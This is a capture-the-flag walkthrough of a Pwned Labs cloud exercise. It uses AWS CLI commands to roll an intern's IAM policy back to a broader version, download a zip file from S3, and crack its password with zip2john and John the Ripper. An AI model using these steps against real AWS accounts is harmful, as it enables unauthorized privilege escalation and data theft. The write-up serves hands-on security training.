☁️ Cloud SecurityCapture the Flags (CTFs) PwnedLabs Escalate Privileges by IAM Policy Rollback A walkthrough demonstrating how to abuse the IAM permission: SetDefaultPolicyVersion
CTF Source: Pwned Labs
Overview
In this walkthrough, we're provided access keys for an Intern with seemingly little access, but we find a way to escalate our privileges and obtain access to sensitive data!
Pre-Requisites
Install awscli: brew install awscli
(mac) apt install awscli
(linux)
Install JohnTheRipper: brew install john
(mac) apt intall john
(linux)
Walkthrough
After configuring our AWS access keys (aws configure
), let's begin to enumerate our access.
This command tells us who we are.
Copy aws sts get-caller-identity
{
"UserId": "AIDA4C7XGDAETYJA6EVGF",
"Account": "831057696777",
"Arn": "arn:aws:iam::831057696777:user/intern01"
}
We can then list policies attached to this user.
Copy aws iam list-attached-user-policies --user-name intern01
{
"AttachedPolicies": [
{
"PolicyName": "intern_policy",
"PolicyArn": "arn:aws:iam::214768663777:policy/intern_policy"
}
]
}
Let's see if we have multiple versions of this policy.
Copy aws iam list-policy-versions --policy-arn arn:aws:iam::214768663777:policy/intern_policy
{
"Versions": [
{
"VersionId": "v2",
"IsDefaultVersion": true,
"CreateDate": "2024-03-14T23:00:42+00:00"
},
{
"VersionId": "v1",
"IsDefaultVersion": false,
"CreateDate": "2024-03-14T23:00:41+00:00"
}
]
}
We can view both policies like so: aws iam get-policy-version --policy-arn arn:aws:iam::214768663777:policy/intern_policy --version-id v1
(or v2
).
Copy aws iam get-policy-version --policy-arn arn:aws:iam::831057696777:policy/intern_policy --version-id v1
{
"PolicyVersion" : {
"Document" : {
"Statement" : [
{
"Action" : [
"ec2:DescribeInstances" ,
"s3:ListAllMyBuckets" ,
"s3:GetObject" ,
"s3:ListBucket"
],
"Effect" : "Allow" ,
"Resource" : "*"
}
],
"Version" : "2012-10-17"
},
"VersionId" : "v1" ,
"IsDefaultVersion" : false ,
"CreateDate" : "2024-03-14T21:43:51+00:00"
}
}
Escalating Privileges
The v1
policy gives us some additional S3 permissions over all resources. We'll set this version as our policy.
Copy aws iam set-default-policy-version --policy-arn
arn:aws:iam::831057696777:policy/intern_policy --version-id v1
If we list the buckets in the account, we'll find one and download the data.
Copy aws s3 ls
2024-03-14 15:43:52 huge-logistics-data-8344bf3ad538
Copy aws s3 cp s3://huge-logistics-data-8344bf3ad538/amex-export.zip .
download: s3://huge-logistics-data-8344bf3ad538/amex-export.zip to ./amex-export.zip
Password Cracking
Unfortunately, the file is password-protected.
Copy unzip amex-export.zip
Archive: amex-export.zip
[amex-export.zip] amex-export.json password:
Not to worry as we can attempt to crack the password.
We'll create a hash and save it to a new file.
Copy zip2john amex-export.zip > hash.txt
Next, we'll use JohnTheRipper and the classic rockyou.txt password list.
Copy john hash.txt --wordlist=rockyou.txt
1logistics (amex-export.zip)
Finding the Flag!
We found the password! Attempting to unzip the file with this password results in discovering the flag!
Copy unzip -P 1logistics amex-export.zip
Archive: amex-export.zip
inflating: amex-export.json
extracting: flag.txt
Get the final flag.
Copy cat flag.txt
< flagHash >
Last updated 2 months ago